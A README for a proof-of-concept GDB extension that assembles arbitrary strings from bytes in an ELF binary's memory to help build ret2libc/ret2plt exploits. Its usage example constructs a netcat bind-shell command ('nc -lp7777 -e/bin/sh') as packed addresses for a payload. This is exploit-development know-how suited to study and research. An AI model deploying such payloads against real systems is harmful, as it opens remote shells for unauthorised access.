gdb-memstr
Description
This is a proof-of-concept GDB extension for assembling arbitrary ASCII strings out of the contents of the address space of an ELF binary.
It can be handy during the development of ret2libc/ret2plt attacks when the user-supplied data is not located at a fixed or predictable location, in which case the arguments for the libc function should be constructed on-the-fly by chaining calls to functions like memcpy/strcpy/strncpy/sprintf/snprintf/etc.
Installation
Use the
source, Luke:
(gdb) source /path/to/memstr.py
Usage
$ gdb ./vuln
(gdb) break main
Breakpoint 1 at 0x400587
(gdb) run
Starting program: /home/max/Code/testbed/vuln
(gdb) memstr "/bin/nc.traditional -lp7777 -e/bin/sh" text
STR = [
struct.pack('<Q', 0x4015d8), # /
struct.pack('<Q', 0x4011ce), # b
struct.pack('<Q', 0x400b5a), # i
struct.pack('<Q', 0x401fee), # n
struct.pack('<Q', 0x4015d8), # /
struct.pack('<Q', 0x401fee), # n
struct.pack('<Q', 0x400635), # c
struct.pack('<Q', 0x40067a), # .
struct.pack('<Q', 0x4003da), # t
struct.pack('<Q', 0x40094b), # r
struct.pack('<Q', 0x4011eb), # a
struct.pack('<Q', 0x4006f9), # d
struct.pack('<Q', 0x400b5a), # i
struct.pack('<Q', 0x4003da), # t
struct.pack('<Q', 0x400b5a), # i
struct.pack('<Q', 0x401077), # o
struct.pack('<Q', 0x401fee), # n
struct.pack('<Q', 0x4011eb), # a
struct.pack('<Q', 0x4008e7), # l
struct.pack('<Q', 0x400787), #
struct.pack('<Q', 0x4003f7), # -
struct.pack('<Q', 0x4008e7), # l
struct.pack('<Q', 0x400597), # p
struct.pack('<Q', 0x4003f1), # 7
struct.pack('<Q', 0x4003f1), # 7
struct.pack('<Q', 0x4003f1), # 7
struct.pack('<Q', 0x4003f1), # 7
struct.pack('<Q', 0x400787), #
struct.pack('<Q', 0x4003f7), # -
struct.pack('<Q', 0x400f37), # e
struct.pack('<Q', 0x4015d8), # /
struct.pack('<Q', 0x4011ce), # b
struct.pack('<Q', 0x400b5a), # i
struct.pack('<Q', 0x401fee), # n
struct.pack('<Q', 0x4015d8), # /
struct.pack('<Q', 0x400519), # s
struct.pack('<Q', 0x4007a2), # h
struct.pack('<Q', 0x4003b5) # \0
]
Thanks
Thanks to argp for his input on this.